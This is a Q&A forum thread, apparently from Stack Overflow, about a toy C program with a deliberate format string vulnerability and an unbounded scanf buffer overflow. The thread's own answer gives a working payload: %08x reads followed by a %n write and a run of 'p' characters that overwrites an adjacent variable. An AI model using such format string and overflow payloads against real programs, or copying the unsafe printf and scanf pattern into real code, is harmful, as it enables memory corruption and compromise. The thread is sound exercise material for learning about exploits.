Format string vulnerablity

Question

I have the following code, and I need to make an input, on result get "Print me!"

#include <stdio.h>
#define OF_MY_LIFE 0xdead

int best_days = OF_MY_LIFE;

int main(int argc, char * argv[]){

struct{
 int* pbest_days;
 unsigned hereToHelp;
 char array[60];
 char iNeedSomeOverflow;
}locals;

 locals.pbest_days = &best_days;
 locals.iNeedSomeOverflow = 'P';
 locals.hereToHelp=0x73;


 printf("Provide input string\n");
 scanf("%s", locals.array);
 printf(locals.array);

 if(locals.iNeedSomeOverflow == 'p' && best_days != OF_MY_LIFE){
   printf("Print me!\n");
 }


 return 0;
}

I know if I type %08x::%08x::%08x::%08x::%08x%n as input (and if locals.iNeedSomeOverflow would be 'p' (little p)), it would be good. But in this case, I couldn't change 'P' (big p) to 'p' (little p)

Do U have any ideas how to make a type of input to get "Print me!"?

Thank you

`locals.pbest_days = &best_days;` is a reference to best_days and if I overwrite the reference's address, it won't be equals with `OF_MY_LIFE` — nullptrexception, May 09 '21 at 13:39
[link](https://imgur.com/HVORPtm) This shows if I would have 'P' in my if But I have 'p' and this is the reason why it doesn't work — nullptrexception, May 09 '21 at 13:45
SOLVED! input would be: `%08x::%08x::%08x::%08x::%08x%nppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp` — nullptrexception, May 09 '21 at 13:50

score 0 · Answer 1 · answered May 09 '21 at 14:05

0

SOLVED! input would be: %08x::%08x::%08x::%08x::%08x%nppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp

answered May 09 '21 at 14:05

nullptrexception

1

Format string vulnerablity

1 Answers1